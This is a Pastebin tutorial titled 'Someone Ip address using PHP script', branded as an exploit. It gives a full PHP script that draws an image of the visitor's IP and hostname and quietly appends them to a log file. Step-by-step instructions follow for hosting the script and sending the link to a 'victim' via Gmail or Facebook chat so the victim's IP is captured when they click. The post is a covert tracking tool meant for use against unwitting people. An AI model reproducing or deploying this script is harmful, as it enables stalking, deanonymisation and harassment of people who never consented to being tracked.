Advertisement
CyberSecurityNEPAL

Someone Ip address using PHP script

Nov 13th, 2016
415
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 2.97 KB | None | 0 0
  1. ______ _ _ _ _ _____ _ _ _
  2. | ____| | | (_) | | | / ____| | | (_) |
  3. | |__ __ ___ __ | | ___ _| |_ | |__ _ _ | | _ _| |__ ___ _ __ ___ ___ ___ _ _ _ __ _| |_ _ _
  4. | __| \ \/ / '_ \| |/ _ \| | __| | '_ \| | | | | | | | | | '_ \ / _ \ '__/ __|/ _ \/ __| | | | '__| | __| | | |
  5. | |____ > <| |_) | | (_) | | |_ | |_) | |_| | | |___| |_| | |_) | __/ | \__ \ __/ (__| |_| | | | | |_| |_| |
  6. |______/_/\_\ .__/|_|\___/|_|\__| |_.__/ \__, | \_____\__, |_.__/ \___|_| |___/\___|\___|\__,_|_| |_|\__|\__, |
  7. | | __/ | __/ | __/ |
  8. |_| |___/ |___/ |___/
  9. -----------------------------------------------------------------------------------------------------------------------------+
  10. # In this tutorial i will you show you how to get someone Ip address using PHP script.
  11.  
  12. # This method can be used to grab someone Ip address on Gmail or Facebook chat or by sending mail to victim.
  13.  
  14. # FOR MORE INFORMATION AND COMMENTS PLEASE CONTACT ME: newfeedback@hotmail.com
  15. -----------------------------------------------------------------------------------------------------------------------------+
  16.  
  17. So Lets get started.
  18.  
  19. 1. Copy the below codes into Notepad and save it as hackersgrp.php (.php is must)
  20.  
  21. <?php
  22. $hostname = gethostbyaddr($_SERVER['REMOTE_ADDR']);
  23. $img_number = imagecreate(400,95);
  24. $backcolor = imagecolorallocate($img_number,10,102,153);
  25. $textcolor = imagecolorallocate($img_number,255,255,255);
  26.  
  27. imagefill($img_number,0,0,$backcolor);
  28. $number0 = " This is Your IP/Proxy";
  29. $number1 = " IP: $_SERVER[HTTP_X_FORWARDED_FOR]";
  30. $number2 = " Host/Proxy: $hostname";
  31. $number4 = " _________________________________";
  32.  
  33. Imagestring($img_number,10,5,5,$number0,$textcolor);
  34. Imagestring($img_number,10,5,25,$number1,$textcolor);
  35. Imagestring($img_number,10,5,45,$number2,$textcolor);
  36. Imagestring($img_number,10,5,50,$number4,$textcolor);
  37. Imagestring($img_number,10,8,50,$number4,$textcolor);
  38. Imagestring($img_number,10,5,10,$number4,$textcolor);
  39. Imagestring($img_number,10,8,10,$number4,$textcolor);
  40.  
  41. header("Content-type: image/png");
  42. imagepng($img_number);
  43. $file=fopen("Name-here-to-protect-the-File.txt","a");
  44. $file2 = "- IP joined - IP/Proxy: $_SERVER[HTTP_X_FORWARDED_FOR] - Host: $hostname - '\n' ";
  45. fwrite($file, $file2);
  46. fclose($file);
  47. ?>
  48.  
  49. 2. Now make Free account on any of the free web hosting sites.
  50.  
  51. 3. Now Upload Hackersgrp.php to your web hosting site.
  52.  
  53. 4. Copy the link of your uploaded file and send it to victim.
  54.  
  55. 5. As soon as victim will click on your link his ip will be saved in your free web hosting site.
  56. -------------------------------------------------****--------------------------------------------------
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement